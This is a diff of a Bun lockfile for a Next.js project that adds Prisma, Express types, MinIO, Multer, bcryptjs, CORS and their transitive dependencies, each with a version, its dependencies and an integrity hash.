@@ "@next/swc-win32-x64-msvc": ["@next/swc-win32-x64-msvc@15.3.4", "", { "os": "win32", "cpu": "x64" }, "sha512-4kDt31Bc9DGyYs41FTL1/kNpDeHyha2TC0j5sRRoKCyrhNcfZ/nRQkAUlF27mETwm8QyHqIjHJitfcza2Iykfg=="], + "@prisma/client": ["@prisma/client@6.10.1", "", { "peerDependencies": { "prisma": "*", "typescript": ">=5.1.0" }, "optionalPeers": ["prisma", "typescript"] }, "sha512-Re4pMlcUsQsUTAYMK7EJ4Bw2kg3WfZAAlr8GjORJaK4VOP6LxRQUQ1TuLnxcF42XqGkWQ36q5CQF1yVadANQ6w=="], + + "@prisma/config": ["@prisma/config@6.10.1", "", { "dependencies": { "jiti": "2.4.2" } }, "sha512-kz4/bnqrOrzWo8KzYguN0cden4CzLJJ+2VSpKtF8utHS3l1JS0Lhv6BLwpOX6X9yNreTbZQZwewb+/BMPDCIYQ=="], + + "@prisma/debug": ["@prisma/debug@6.10.1", "", {}, "sha512-k2YT53cWxv9OLjW4zSYTZ6Z7j0gPfCzcr2Mj99qsuvlxr8WAKSZ2NcSR0zLf/mP4oxnYG842IMj3utTgcd7CaA=="], + + "@prisma/engines": ["@prisma/engines@6.10.1", "", { "dependencies": { "@prisma/debug": "6.10.1", "@prisma/engines-version": "6.10.1-1.9b628578b3b7cae625e8c927178f15a170e74a9c", "@prisma/fetch-engine": "6.10.1", "@prisma/get-platform": "6.10.1" } }, "sha512-Q07P5rS2iPwk2IQr/rUQJ42tHjpPyFcbiH7PXZlV81Ryr9NYIgdxcUrwgVOWVm5T7ap02C0dNd1dpnNcSWig8A=="], + + "@prisma/engines-version": ["@prisma/engines-version@6.10.1-1.9b628578b3b7cae625e8c927178f15a170e74a9c", "", {}, "sha512-ZJFTsEqapiTYVzXya6TUKYDFnSWCNegfUiG5ik9fleQva5Sk3DNyyUi7X1+0ZxWFHwHDr6BZV5Vm+iwP+LlciA=="], + + "@prisma/fetch-engine": ["@prisma/fetch-engine@6.10.1", "", { "dependencies": { "@prisma/debug": "6.10.1", "@prisma/engines-version": "6.10.1-1.9b628578b3b7cae625e8c927178f15a170e74a9c", "@prisma/get-platform": "6.10.1" } }, "sha512-clmbG/Jgmrc/n6Y77QcBmAUlq9LrwI9Dbgy4pq5jeEARBpRCWJDJ7PWW1P8p0LfFU0i5fsyO7FqRzRB8mkdS4g=="], + + "@prisma/get-platform": ["@prisma/get-platform@6.10.1", "", { "dependencies": { "@prisma/debug": "6.10.1" } }, "sha512-4CY5ndKylcsce9Mv+VWp5obbR2/86SHOLVV053pwIkhVtT9C9A83yqiqI/5kJM9T1v1u1qco/bYjDKycmei9HA=="], + "@swc/counter": ["@swc/counter@0.1.3", "", {}, "sha512-e2BR4lsJkkRlKZ/qCHPw9ZaSxc0MVUd7gtbtaB7aMvHeJVYe8sOB8DBZkP2DtISHGSku9sCK6T6cnY0CtXrOCQ=="], "@swc/helpers": ["@swc/helpers@0.5.15", "", { "dependencies": { "tslib": "^2.8.0" } }, "sha512-JQ5TuMi45Owi4/BIMAJBoSQoOJu12oOk/gADqlcUL9JEdHB8vyjUSsxqeNXnmXHjYKMi2WcYtezGEEhqUI/E2g=="], @@ -131,14 +155,66 @@ "@tailwindcss/postcss": ["@tailwindcss/postcss@4.1.11", "", { "dependencies": { "@alloc/quick-lru": "^5.2.0", "@tailwindcss/node": "4.1.11", "@tailwindcss/oxide": "4.1.11", "postcss": "^8.4.41", "tailwindcss": "4.1.11" } }, "sha512-q/EAIIpF6WpLhKEuQSEVMZNMIY8KhWoAemZ9eylNAih9jxMGAYPPWBn3I9QL/2jZ+e7OEz/tZkX5HwbBR4HohA=="], + "@types/bcryptjs": ["@types/bcryptjs@3.0.0", "", { "dependencies": { "bcryptjs": "*" } }, "sha512-WRZOuCuaz8UcZZE4R5HXTco2goQSI2XxjGY3hbM/xDvwmqFWd4ivooImsMx65OKM6CtNKbnZ5YL+YwAwK7c1dg=="], + + "@types/body-parser": ["@types/body-parser@1.19.6", "", { "dependencies": { "@types/connect": "*", "@types/node": "*" } }, "sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g=="], + + "@types/connect": ["@types/connect@3.4.38", "", { "dependencies": { "@types/node": "*" } }, "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug=="], + + "@types/cors": ["@types/cors@2.8.19", "", { "dependencies": { "@types/node": "*" } }, "sha512-mFNylyeyqN93lfe/9CSxOGREz8cpzAhH+E93xJ4xWQf62V8sQ/24reV2nyzUWM6H6Xji+GGHpkbLe7pVoUEskg=="], + + "@types/express": ["@types/express@5.0.3", "", { "dependencies": { "@types/body-parser": "*", "@types/express-serve-static-core": "^5.0.0", "@types/serve-static": "*" } }, "sha512-wGA0NX93b19/dZC1J18tKWVIYWyyF2ZjT9vin/NRu0qzzvfVzWjs04iq2rQ3H65vCTQYlRqs3YHfY7zjdV+9Kw=="], + + "@types/express-serve-static-core": ["@types/express-serve-static-core@5.0.6", "", { "dependencies": { "@types/node": "*", "@types/qs": "*", "@types/range-parser": "*", "@types/send": "*" } }, "sha512-3xhRnjJPkULekpSzgtoNYYcTWgEZkp4myc+Saevii5JPnHNvHMRlBSHDbs7Bh1iPPoVTERHEZXyhyLbMEsExsA=="], + + "@types/http-errors": ["@types/http-errors@2.0.5", "", {}, "sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg=="], + + "@types/mime": ["@types/mime@1.3.5", "", {}, "sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w=="], + + "@types/minio": ["@types/minio@7.1.1", "", { "dependencies": { "minio": "*" } }, "sha512-B7OWB7JwIxVBxypiS3gA96gaK4yo2UknGdqmuQsTccZZ/ABiQ2F3fTe9lZIXL6ZuN23l+mWIC3J4CefKNyWjxA=="], + + "@types/multer": ["@types/multer@1.4.13", "", { "dependencies": { "@types/express": "*" } }, "sha512-bhhdtPw7JqCiEfC9Jimx5LqX9BDIPJEh2q/fQ4bqbBPtyEZYr3cvF22NwG0DmPZNYA0CAf2CnqDB4KIGGpJcaw=="], + "@types/node": ["@types/node@20.19.1", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-jJD50LtlD2dodAEO653i3YF04NWak6jN3ky+Ri3Em3mGR39/glWiboM/IePaRbgwSfqM1TpGXfAg8ohn/4dTgA=="], + "@types/qs": ["@types/qs@6.14.0", "", {}, "sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ=="], + + "@types/range-parser": ["@types/range-parser@1.2.7", "", {}, "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ=="], + "@types/react": ["@types/react@19.1.8", "", { "dependencies": { "csstype": "^3.0.2" } }, "sha512-AwAfQ2Wa5bCx9WP8nZL2uMZWod7J7/JSplxbTmBQ5ms6QpqNYm672H0Vu9ZVKVngQ+ii4R/byguVEUZQyeg44g=="], "@types/react-dom": ["@types/react-dom@19.1.6", "", { "peerDependencies": { "@types/react": "^19.0.0" } }, "sha512-4hOiT/dwO8Ko0gV1m/TJZYk3y0KBnY9vzDh7W+DH17b2HFSOGgdj33dhihPeuy3l0q23+4e+hoXHV6hCC4dCXw=="], + "@types/send": ["@types/send@0.17.5", "", { "dependencies": { "@types/mime": "^1", "@types/node": "*" } }, "sha512-z6F2D3cOStZvuk2SaP6YrwkNO65iTZcwA2ZkSABegdkAh/lf+Aa/YQndZVfmEXT5vgAp6zv06VQ3ejSVjAny4w=="], + + "@types/serve-static": ["@types/serve-static@1.15.8", "", { "dependencies": { "@types/http-errors": "*", "@types/node": "*", "@types/send": "*" } }, "sha512-roei0UY3LhpOJvjbIP6ZZFngyLKl5dskOtDhxY5THRSpO+ZI+nzJ+m5yUMzGrp89YRa7lvknKkMYjqQFGwA7Sg=="], + + "@zxing/text-encoding": ["@zxing/text-encoding@0.9.0", "", {}, "sha512-U/4aVJ2mxI0aDNI8Uq0wEhMgY+u4CNtEb0om3+y3+niDAsoTCOB33UF0sxpzqzdqXLqmvc+vZyAt4O8pPdfkwA=="], + + "append-field": ["append-field@1.0.0", "", {}, "sha512-klpgFSWLW1ZEs8svjfb7g4qWY0YS5imI82dTg+QahUvJ8YqAY0P10Uk8tTyh9ZGuYEZEMaeJYCF5BFuX552hsw=="], + + "async": ["async@3.2.6", "", {}, "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA=="], + + "available-typed-arrays": ["available-typed-arrays@1.0.7", "", { "dependencies": { "possible-typed-array-names": "^1.0.0" } }, "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ=="], + + "bcryptjs": ["bcryptjs@3.0.2", "", { "bin": { "bcrypt": "bin/bcrypt" } }, "sha512-k38b3XOZKv60C4E2hVsXTolJWfkGRMbILBIe2IBITXciy5bOsTKot5kDrf3ZfufQtQOUN5mXceUEpU1rTl9Uog=="], + + "block-stream2": ["block-stream2@2.1.0", "", { "dependencies": { "readable-stream": "^3.4.0" } }, "sha512-suhjmLI57Ewpmq00qaygS8UgEq2ly2PCItenIyhMqVjo4t4pGzqMvfgJuX8iWTeSDdfSSqS6j38fL4ToNL7Pfg=="], + + "browser-or-node": ["browser-or-node@2.1.1", "", {}, "sha512-8CVjaLJGuSKMVTxJ2DpBl5XnlNDiT4cQFeuCJJrvJmts9YrTZDizTX7PjC2s6W4x+MBGZeEY6dGMrF04/6Hgqg=="], + + "buffer-crc32": ["buffer-crc32@1.0.0", "", {}, "sha512-Db1SbgBS/fg/392AblrMJk97KggmvYhr4pB5ZIMTWtaivCPMWLkmb7m21cJvpvgK+J3nsU2CmmixNBZx4vFj/w=="], + + "buffer-from": ["buffer-from@1.1.2", "", {}, "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ=="], + "busboy": ["busboy@1.6.0", "", { "dependencies": { "streamsearch": "^1.1.0" } }, "sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA=="], + "call-bind": ["call-bind@1.0.8", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.0", "es-define-property": "^1.0.0", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.2" } }, "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww=="], + + "call-bind-apply-helpers": ["call-bind-apply-helpers@1.0.2", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2" } }, "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ=="], + + "call-bound": ["call-bound@1.0.4", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.2", "get-intrinsic": "^1.3.0" } }, "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg=="], + "caniuse-lite": ["caniuse-lite@1.0.30001726", "", {}, "sha512-VQAUIUzBiZ/UnlM28fSp2CRF3ivUn1BWEvxMcVTNwpw91Py1pGbPIyIKtd+tzct9C3ouceCVdGAXxZOpZAsgdw=="], "chownr": ["chownr@3.0.0", "", {}, "sha512-+IxzY9BZOQd/XuYPRmrvEVjF/nqj5kgT4kEq7VofrDoM1MxoRjEWkrCC3EtLi59TVawxTAn+orJwFQcrqEN1+g=="], @@ -153,16 +229,70 @@ "color-string": ["color-string@1.9.1", "", { "dependencies": { "color-name": "^1.0.0", "simple-swizzle": "^0.2.2" } }, "sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg=="], + "concat-stream": ["concat-stream@2.0.0", "", { "dependencies": { "buffer-from": "^1.0.0", "inherits": "^2.0.3", "readable-stream": "^3.0.2", "typedarray": "^0.0.6" } }, "sha512-MWufYdFw53ccGjCA+Ol7XJYpAlW6/prSMzuPOTRnJGcGzuhLn4Scrz7qf6o8bROZ514ltazcIFJZevcfbo0x7A=="], + + "cors": ["cors@2.8.5", "", { "dependencies": { "object-assign": "^4", "vary": "^1" } }, "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g=="], + "csstype": ["csstype@3.1.3", "", {}, "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw=="], + "decode-uri-component": ["decode-uri-component@0.2.2", "", {}, "sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ=="], + + "define-data-property": ["define-data-property@1.1.4", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "gopd": "^1.0.1" } }, "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A=="], + "detect-libc": ["detect-libc@2.0.4", "", {}, "sha512-3UDv+G9CsCKO1WKMGw9fwq/SWJYbI0c5Y7LU1AXYoDdbhE2AHQ6N6Nb34sG8Fj7T5APy8qXDCKuuIHd1BR0tVA=="], + "dunder-proto": ["dunder-proto@1.0.1", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.1", "es-errors": "^1.3.0", "gopd": "^1.2.0" } }, "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A=="], + "enhanced-resolve": ["enhanced-resolve@5.18.2", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.2.0" } }, "sha512-6Jw4sE1maoRJo3q8MsSIn2onJFbLTOjY9hlx4DZXmOKvLRd1Ok2kXmAGXaafL2+ijsJZ1ClYbl/pmqr9+k4iUQ=="], + "es-define-property": ["es-define-property@1.0.1", "", {}, "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g=="], + + "es-errors": ["es-errors@1.3.0", "", {}, "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw=="], + + "es-object-atoms": ["es-object-atoms@1.1.1", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA=="], + + "eventemitter3": ["eventemitter3@5.0.1", "", {}, "sha512-GWkBvjiSZK87ELrYOSESUYeVIc9mvLLf/nXalMOS5dYrgZq9o5OVkbZAVM06CVxYsCwH9BDZFPlQTlPA1j4ahA=="], + + "fast-xml-parser": ["fast-xml-parser@4.5.3", "", { "dependencies": { "strnum": "^1.1.1" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-RKihhV+SHsIUGXObeVy9AXiBbFwkVk7Syp8XgwN5U3JV416+Gwp/GO9i0JYKmikykgz/UHRrrV4ROuZEo/T0ig=="], + + "filter-obj": ["filter-obj@1.1.0", "", {}, "sha512-8rXg1ZnX7xzy2NGDVkBVaAy+lSlPNwad13BtgSlLuxfIslyt5Vg64U7tFcCt4WS1R0hvtnQybT/IyCkGZ3DpXQ=="], + + "for-each": ["for-each@0.3.5", "", { "dependencies": { "is-callable": "^1.2.7" } }, "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg=="], + + "function-bind": ["function-bind@1.1.2", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="], + + "get-intrinsic": ["get-intrinsic@1.3.0", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.2", "es-define-property": "^1.0.1", "es-errors": "^1.3.0", "es-object-atoms": "^1.1.1", "function-bind": "^1.1.2", "get-proto": "^1.0.1", "gopd": "^1.2.0", "has-symbols": "^1.1.0", "hasown": "^2.0.2", "math-intrinsics": "^1.1.0" } }, "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ=="], + + "get-proto": ["get-proto@1.0.1", "", { "dependencies": { "dunder-proto": "^1.0.1", "es-object-atoms": "^1.0.0" } }, "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g=="], + + "gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="], + "graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="], + "has-property-descriptors": ["has-property-descriptors@1.0.2", "", { "dependencies": { "es-define-property": "^1.0.0" } }, "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg=="], + + "has-symbols": ["has-symbols@1.1.0", "", {}, "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ=="], + + "has-tostringtag": ["has-tostringtag@1.0.2", "", { "dependencies": { "has-symbols": "^1.0.3" } }, "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw=="], + + "hasown": ["hasown@2.0.2", "", { "dependencies": { "function-bind": "^1.1.2" } }, "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ=="], + + "inherits": ["inherits@2.0.4", "", {}, "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="], + + "ipaddr.js": ["ipaddr.js@2.2.0", "", {}, "sha512-Ag3wB2o37wslZS19hZqorUnrnzSkpOVy+IiiDEiTqNubEYpYuHWIf6K4psgN2ZWKExS4xhVCrRVfb/wfW8fWJA=="], + + "is-arguments": ["is-arguments@1.2.0", "", { "dependencies": { "call-bound": "^1.0.2", "has-tostringtag": "^1.0.2" } }, "sha512-7bVbi0huj/wrIAOzb8U1aszg9kdi3KN/CyU19CTI7tAoZYEZoL9yCDXpbXN+uPsuWnP02cyug1gleqq+TU+YCA=="], + "is-arrayish": ["is-arrayish@0.3.2", "", {}, "sha512-eVRqCvVlZbuw3GrM63ovNSNAeA1K16kaR/LRY/92w0zxQ5/1YzwblUX652i4Xs9RwAGjW9d9y6X88t8OaAJfWQ=="], + "is-callable": ["is-callable@1.2.7", "", {}, "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA=="], + + "is-generator-function": ["is-generator-function@1.1.0", "", { "dependencies": { "call-bound": "^1.0.3", "get-proto": "^1.0.0", "has-tostringtag": "^1.0.2", "safe-regex-test": "^1.1.0" } }, "sha512-nPUB5km40q9e8UfN/Zc24eLlzdSf9OfKByBw9CIdw4H1giPMeA0OIJvbchsCu4npfI2QcMVBsGEBHKZ7wLTWmQ=="], + + "is-regex": ["is-regex@1.2.1", "", { "dependencies": { "call-bound": "^1.0.2", "gopd": "^1.2.0", "has-tostringtag": "^1.0.2", "hasown": "^2.0.2" } }, "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g=="], + + "is-typed-array": ["is-typed-array@1.1.15", "", { "dependencies": { "which-typed-array": "^1.1.16" } }, "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ=="], + "jiti": ["jiti@2.4.2", "", { "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-rg9zJN+G4n2nfJl5MW3BMygZX56zKPNVEYYqq7adpmMh4Jn2QNEwhvQlFy6jPVdcod7txZtKHWnyZiA3a0zP7A=="], "lightningcss": ["lightningcss@1.30.1", "", { "dependencies": { "detect-libc": "^2.0.3" }, "optionalDependencies": { "lightningcss-darwin-arm64": "1.30.1", "lightningcss-darwin-x64": "1.30.1", "lightningcss-freebsd-x64": "1.30.1", "lightningcss-linux-arm-gnueabihf": "1.30.1", "lightningcss-linux-arm64-gnu": "1.30.1", "lightningcss-linux-arm64-musl": "1.30.1", "lightningcss-linux-x64-gnu": "1.30.1", "lightningcss-linux-x64-musl": "1.30.1", "lightningcss-win32-arm64-msvc": "1.30.1", "lightningcss-win32-x64-msvc": "1.30.1" } }, "sha512-xi6IyHML+c9+Q3W0S4fCQJOym42pyurFiJUHEcEyHS0CeKzia4yZDEsLlqOFykxOdHpNy0NmvVO31vcSqAxJCg=="], @@ -187,38 +317,84 @@ "lightningcss-win32-x64-msvc": ["lightningcss-win32-x64-msvc@1.30.1", "", { "os": "win32", "cpu": "x64" }, "sha512-PVqXh48wh4T53F/1CCu8PIPCxLzWyCnn/9T5W1Jpmdy5h9Cwd+0YQS6/LwhHXSafuc61/xg9Lv5OrCby6a++jg=="], + "lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="], + "magic-string": ["magic-string@0.30.17", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0" } }, "sha512-sNPKHvyjVf7gyjwS4xGTaW/mCnF8wnjtifKBEhxfZ7E/S8tQ0rssrwGNn6q8JH/ohItJfSQp9mBtQYuTlH5QnA=="], + "math-intrinsics": ["math-intrinsics@1.1.0", "", {}, "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g=="], + + "media-typer": ["media-typer@0.3.0", "", {}, "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ=="], + + "mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="], + + "mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="], + + "minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="], + + "minio": ["minio@8.0.5", "", { "dependencies": { "async": "^3.2.4", "block-stream2": "^2.1.0", "browser-or-node": "^2.1.1", "buffer-crc32": "^1.0.0", "eventemitter3": "^5.0.1", "fast-xml-parser": "^4.4.1", "ipaddr.js": "^2.0.1", "lodash": "^4.17.21", "mime-types": "^2.1.35", "query-string": "^7.1.3", "stream-json": "^1.8.0", "through2": "^4.0.2", "web-encoding": "^1.1.5", "xml2js": "^0.5.0 || ^0.6.2" } }, "sha512-/vAze1uyrK2R/DSkVutE4cjVoAowvIQ18RAwn7HrqnLecLlMazFnY0oNBqfuoAWvu7mZIGX75AzpuV05TJeoHg=="], + "minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], "minizlib": ["minizlib@3.0.2", "", { "dependencies": { "minipass": "^7.1.2" } }, "sha512-oG62iEk+CYt5Xj2YqI5Xi9xWUeZhDI8jjQmC5oThVH5JGCTgIjr7ciJDzC7MBzYd//WvR1OTmP5Q38Q8ShQtVA=="], - "mkdirp": ["mkdirp@3.0.1", "", { "bin": { "mkdirp": "dist/cjs/src/bin.js" } }, "sha512-+NsyUUAZDmo6YVHzL/stxSu3t9YS1iljliy3BSDrXJ/dkn1KYdmtZODGGjLcc9XLgVVpH4KshHB8XmZgMhaBXg=="], + "mkdirp": ["mkdirp@0.5.6", "", { "dependencies": { "minimist": "^1.2.6" }, "bin": { "mkdirp": "bin/cmd.js" } }, "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw=="], + + "multer": ["multer@2.0.1", "", { "dependencies": { "append-field": "^1.0.0", "busboy": "^1.6.0", "concat-stream": "^2.0.0", "mkdirp": "^0.5.6", "object-assign": "^4.1.1", "type-is": "^1.6.18", "xtend": "^4.0.2" } }, "sha512-Ug8bXeTIUlxurg8xLTEskKShvcKDZALo1THEX5E41pYCD2sCVub5/kIRIGqWNoqV6szyLyQKV6mD4QUrWE5GCQ=="], "nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="], "next": ["next@15.3.4", "", { "dependencies": { "@next/env": "15.3.4", "@swc/counter": "0.1.3", "@swc/helpers": "0.5.15", "busboy": "1.6.0", "caniuse-lite": "^1.0.30001579", "postcss": "8.4.31", "styled-jsx": "5.1.6" }, "optionalDependencies": { "@next/swc-darwin-arm64": "15.3.4", "@next/swc-darwin-x64": "15.3.4", "@next/swc-linux-arm64-gnu": "15.3.4", "@next/swc-linux-arm64-musl": "15.3.4", "@next/swc-linux-x64-gnu": "15.3.4", "@next/swc-linux-x64-musl": "15.3.4", "@next/swc-win32-arm64-msvc": "15.3.4", "@next/swc-win32-x64-msvc": "15.3.4", "sharp": "^0.34.1" }, "peerDependencies": { "@opentelemetry/api": "^1.1.0", "@playwright/test": "^1.41.2", "babel-plugin-react-compiler": "*", "react": "^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0", "react-dom": "^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0", "sass": "^1.3.0" }, "optionalPeers": ["@opentelemetry/api", "@playwright/test", "babel-plugin-react-compiler", "sass"], "bin": { "next": "dist/bin/next" } }, "sha512-mHKd50C+mCjam/gcnwqL1T1vPx/XQNFlXqFIVdgQdVAFY9iIQtY0IfaVflEYzKiqjeA7B0cYYMaCrmAYFjs4rA=="], + "object-assign": ["object-assign@4.1.1", "", {}, "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg=="], + "picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="], + "possible-typed-array-names": ["possible-typed-array-names@1.1.0", "", {}, "sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg=="], + "postcss": ["postcss@8.5.6", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg=="], + 